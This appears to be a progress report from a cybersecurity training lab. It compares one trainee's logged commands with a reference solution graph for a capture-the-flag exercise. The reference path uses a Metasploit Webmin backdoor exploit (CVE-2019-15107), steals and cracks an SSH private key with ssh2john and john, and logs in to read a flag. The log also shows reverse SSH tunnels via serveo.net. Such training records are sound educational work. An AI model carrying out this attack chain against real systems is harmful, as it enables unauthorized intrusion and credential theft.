
Trainee: sandbox-77-useractions
Reached 5 of 20 available success nodes (25.0%)
Training: "Kobylka 3302"

Green nodes: Successfully reached states from the reference graph
Red nodes: Commands not present in the reference graph
Orange nodes: Attempts to reach a green node but some required states were missing
Gray nodes: Reference solution to complete the rest of the training

start

Not in the ref. graph

Type: command
Tool: ip
Opts: ['a']

Type: command
Tool: ping
Opts: ['..']; ['8.8.8.8']

Type: command
Tool: namp
Opts: ['172.18.1.5', '-A']

Type: command
Tool: nmap
Opts: ['172.18.1.5', '-A']; ['-p', '10000', '-A', '172.18.1.5']

Type: command
Tool: systemctl
Opts: ['start', 'ssh']; ['restart', 'ssh']

Type: command
Tool: ssh
Opts: ['-R', 'blabla:22:127.0.0.1:22', 'serveo.net'];
['root@127.0.0.1']; ['-R', '6666:127.0.0.1:22',
'serveo.net']

Type: command
Tool: curl
Opts: ['172.18.1.5:10000']

Type: command
Tool: vim
Opts: ['/etc/ssh/sshd_config']; []

Type: command
Tool: ll
Opts: []

metasploit_opened

Type: command
Tool: msfconsole
Opts: []

searched_for_exploit

Type: msf4-history
Tool: search
Opts: ['CVE-2019-15107']

exploit_used

Type: msf4-history
Tool: use
Opts: ['exploit/unix/webapp/webmin_backdoor']

Not in the ref. graph

Type: msf4-history
Tool: show
Opts: []

options_shown

Type: msf4-history
Tool: show
Opts: ['options']

Type: msf4-history
Tool: use
Opts: ['exploit/unix/webapp/webmin_backdoor']

Type: msf4-history
Tool: show
Opts: ['options']

Not in the ref. graph

Type: msf4-history
Tool: set
Opts: ['LHOST', '172.18.1.5']; ['RHOSTS', '172.18.1.5']

Type: msf4-history
Tool: back
Opts: []

Tried to reach: exploit_executed
Missing nodes: rhost_set, rport_set,

lhost_set

Type: msf4-history
Tool: run
Opts: []

lhost_set

Type: msf4-history
Tool: set
Opts: ['LHOST', '10.1.135.83']

Type: command
Tool: msfconsole
Opts: []

Type: msf4-history
Tool: use
Opts: ['exploit/unix/webapp/webmin_backdoor']

Type: msf4-history
Tool: show
Opts: ['options']

Type: msf4-history
Tool: run
Opts: []

Not in the ref. graph

Type: msf4-history
Tool: set
Opts: ['LPORT', '6666']; ['LHOST', '0.0.0.0']; ['LHOST', '192.168.130.188'];
['SRVHOST', '192.168.130.188']; ['RHOSTS', '172.18.1.5']

Type: msf4-history
Tool: sessions
Opts: ['-i']; []

Type: command
Tool: ip
Opts: ['a']; ['r']

Tried to reach: exploit_executed
Missing nodes: rhost_set, rport_set

Type: msf4-history
Tool: run
Opts: []

(unreached)
port_found

Type: command
Tool: nmap
Opts: ['172.18.1.5']
Req. nodes: []

Not in the ref. graph

Type: command
Tool: nc
Opts: ['-l', '-p', '7777']

Type: command
Tool: ll
Opts: []

Type: command
Tool: ls
Opts: []; ['-hlA']; ['.ssh']; ['-hlA', 'cron*']; ['-hlA', '*']; ['-hlA', '.ssh']

Type: command
Tool: cd/
Opts: []

Type: command
Tool: cd
Opts: ['/']; ['/root']; ['/etc']; ['/home']; ['eve']; ['debian']; ['../debian'];
['.ansible']; ['tmp']; ['..']

Type: command
Tool: cat
Opts: ['.ssh/autorized_keys']; ['.ssh/authorized_keys'];
['/etc/crontab]']; ['/etc/crontab']; ['/etc/cron.*/*'];
['/etc/passwd']; ['.ssh/*']; ['*']; ['.*']

Type: command
Tool: history
Opts: []

Type: command
Tool: ip
Opts: ['a']

Type: command
Tool: ps
Opts: ['aux']; ['aux', '|', 'less']

Type: command
Tool: w
Opts: []

Type: command
Tool: ping
Opts: ['10.1.135.83']

Type: command
Tool: s
Opts: []

Type: command
Tool: sss
Opts: []

Type: command
Tool: ssh
Opts: ['-R', '6666:127.0.0.1:22', 'serveo.net']

Type: command
Tool: nmap
Opts: []

Type: command
Tool: apt
Opts: ['udpate']; ['update']; ['install', 'nmap']

Type: command
Tool: crontab
Opts: ['-l']

Tried to reach: bash_history_displayed
Missing nodes: exploit_executed

Type: command
Tool: cat
Opts: ['.bash_history']

Type: command
Tool: cat
Opts: ['.bash_history']

Not in the ref. graph

Type: command
Tool: ls
Opts: ['-hlA']; []; ['-hlA', '.ssh']; ['-hlA', '/tmp']

Type: command
Tool: nmap
Opts: []

Type: command
Tool: su
Opts: ['eve']

Type: command
Tool: ssh
Opts: ['eve@10.1.17.4']

Type: command
Tool: exit
Opts: []

Type: command
Tool: cp
Opts: ['.ssh/*', '/root/.ssh/']

Type: command
Tool: cd
Opts: []; ['/home/eve']; ['..']; ['/var/']; ['webmin']; ['var']; ['log']; ['/etc/ansible'];
['/etc']; ['.ssh']

Type: command
Tool: alias
Opts: ['ll="ls', '-hlA"']

Type: command
Tool: ll
Opts: []; ['*']; ['root']; ['media']; ['opt']; ['srv']; ['ssh']

Type: command
Tool: cat
Opts: ['root/.bash_history']; ['syslog']; ['syslog.1'];
['sudoers']

Type: command
Tool: zcat
Opts: ['syslog.1']

Tried to reach: view_ssh_key
Missing nodes: exploit_executed

Type: command
Tool: cat
Opts: ['id_rsa']

Not in the ref. graph

Type: command
Tool: ll
Opts: []; ['/usr/share/wordlists/rockyou.txt']

Type: command
Tool: alias
Opts: ['ll="ls', '-hlA"']

Type: command
Tool: cd
Opts: ['Desktop/']

Type: command
Tool: vim
Opts: ['id_rsa']

Type: command
Tool: gpg2john
Opts: ['id_rsa']

Type: command
Tool: apt
Opts: ['install', 'ssh2john']

Type: command
Tool: wget
Opts: ['https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py']

Type: command
Tool: chmod
Opts: ['+x', 'ssh2john.py']

Type: command
Tool: ./ssh2john.py
Opts: ['id_rsa']; ['id_rsa', '>', 'x']

Tried to reach: key_cracked
Missing nodes: key_hashed

Type: command
Tool: john
Opts: ['--wordlist=/usr/share/wordlists/rockyou.txt',
'x']

Type: command
Tool: cat
Opts: ['/home/eve/.bash_history']

Not in the ref. graph

Type: command
Tool: ll
Opts: []

Type: command
Tool: cd
Opts: ['..']; ['/tmp']; []; ['top-secret']

Type: command
Tool: ssh
Opts: ['eve@10.1.17.4']

Type: command
Tool: ls
Opts: ['-hlA']

Type: command
Tool: alias
Opts: ['ll="ls', '-hlA"']

Type: command
Tool: history
Opts: []

Tried to reach: end
Missing nodes: connected_to_server

Type: command
Tool: cat
Opts: ['flag.txt']

Type: command
Tool: cat
Opts: ['top-secret/flag.txt']

(last node)
Not in the ref. graph

Type: command
Tool: ll
Opts: []; ['top-secret/']; ['opt']; ['srv/']; ['/tmp/cron*']; ['/etc/cron*']

Type: command
Tool: cd
Opts: ['..']; ['/']

Type: command
Tool: uname
Opts: ['-a']

Type: command
Tool: sudo
Opts: ['-l']

Type: command
Tool: cat
Opts: ['/etc/passwd']; ['/etc/cron*']; ['/etc/api/sources.list'];
['/etc/apt/sources.list']

Type: command
Tool: w
Opts: []

Type: command
Tool: ssh
Opts: ['-R', '6666:127.0.0.1:22', 'serveo.net']; ['-R',
'blabla:22:127.0.0.1:22', 'serveo.net']

Type: command
Tool: ip
Opts: ['a']

(unreached)
vulnerability_found

Type: command
Tool: nmap
Opts: ['-sV', '172.18.1.5']
Req. nodes: []

(unreached)
rhost_set

Type: msf4-history
Tool: set
Opts: ['RHOST', '172.18.1.5']; ['rhost', '172.18.1.5']
Req. nodes: [metasploit_opened]

(unreached)
rport_set

Type: msf4-history
Tool: set
Opts: ['RPORT', '10000']; ['rport', '10000']
Req. nodes: [metasploit_opened]

(unreached)
exploit_checked

Type: msf4-history
Tool: check
Opts: []
Req. nodes: [exploit_used, rhost_set,
rport_set, lhost_set]

(unreached)
exploit_executed

Type: msf4-history
Tool: exploit
Opts: []
Req. nodes: [exploit_used, rhost_set,
rport_set, lhost_set]

(unreached)
file_viewed

Type: command
Tool: cat
Opts: ['/root/WARNING-READ-ME.txt']; ['WARNING-READ-ME.txt']
Req. nodes: [exploit_executed]

(unreached)
eve_files_shown

Type: command
Tool: ls
Opts: ['-a', '/home/eve/']; ['-a', '/eve/']; ['-a']
Req. nodes: [exploit_executed]

(unreached)
bash_history_displayed

Type: command
Tool: cat
Opts: ['.bash_history']['/home/eve/.bash_history'];
['eve/.bash_history']; ['.bash_history']
Req. nodes: [exploit_executed]

(unreached)
view_ssh_key

Type: command
Tool: cat
Opts: ['/home/eve/.ssh/id_rsa']; ['eve/.ssh/id_rsa'];
['.ssh/id_rsa']; ['id_rsa']
Req. nodes: [exploit_executed]

(unreached)
key_hashed

Type: command
Tool: python
Opts: ['ssh2john.py', '*', '>', '*']
Req. nodes: [exploit_executed]

(unreached)
key_cracked

Type: command
Tool: john
Opts: ['--wordlist=/usr/share/wordlists/rockyou.txt',
'*']
Req. nodes: [key_hashed]

(unreached)
ssh_key_permissions_changed

Type: command
Tool: chmod
Opts: ['0600', '*']; ['600', '*']
Req. nodes: [key_cracked]

(unreached)
connected_to_server

Type: command
Tool: ssh
Opts: ['-i', '*', 'eve@10.1.17.4']
Req. nodes: [ssh_key_permissions_changed,
bash_history_displayed]

(unreached)
end

Type: command
Tool: cat
Opts: ['top-secret/flag.txt']; ['flag.txt']
Req. nodes: [connected_to_server]


